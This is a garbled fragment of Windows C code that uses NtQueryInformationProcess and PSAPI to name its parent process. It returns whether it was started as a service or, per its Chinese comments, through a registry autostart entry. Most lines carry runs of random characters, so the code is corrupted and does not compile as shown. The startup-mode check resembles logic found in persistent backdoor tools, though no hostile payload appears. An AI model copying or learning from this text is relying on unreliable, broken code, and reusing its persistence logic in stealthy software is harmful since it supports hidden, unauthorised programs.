ULONG InheritedFromUniqueProcessId; V/
uP%'cd
} PROCESS_BASIC_INFORMATION; '3DXPR^B6
iYm-tsER;
PROCNTQSIP NtQueryInformationProcess; ']z{{UNUN
YdC6k?tzS
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; rkCx{pe9
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /,&<6c-Q@W
[<6^qla
HANDLE hProcess; FX`>J6l:X
PROCESS_BASIC_INFORMATION pbi; KD7dye
Tg)|or/%
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {|_M
#w~&
if(NULL == hInst ) return 0;
zC@o
j<jN05p
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); })8N5C+KU
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `WFw3TI
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); f:|1_ j
J1RJ*mo7,
if (!NtQueryInformationProcess) return 0; J76kkW`5
QIvVcfM^
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {e9@-
if(!hProcess) return 0; JZ*/,|1}EC
BmMGx8P
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6x[}g
)<;Y-u.UW
CloseHandle(hProcess); Fk*7;OuZl
a /l)qB#
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {9;CNsd
if(hProcess==NULL) return 0; >#~& -3
_w(7u(Z
HMODULE hMod; cr?Q[8%t1
char procName[255]; (\hx` Yh=>
unsigned long cbNeeded; [-k
m^f0V2M_
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (%e.:W${
Tx=-Bb~;
CloseHandle(hProcess); wb5baY9
*,8^@(th
if(strstr(procName,"services")) return 1; // 以服务启动 fg!__Rdi
2U\u4NO{
return 0; // 注册表启动 [OV"}<V
} mPN@{.(j
A gg<tM{yB
// 主模块 H*&f: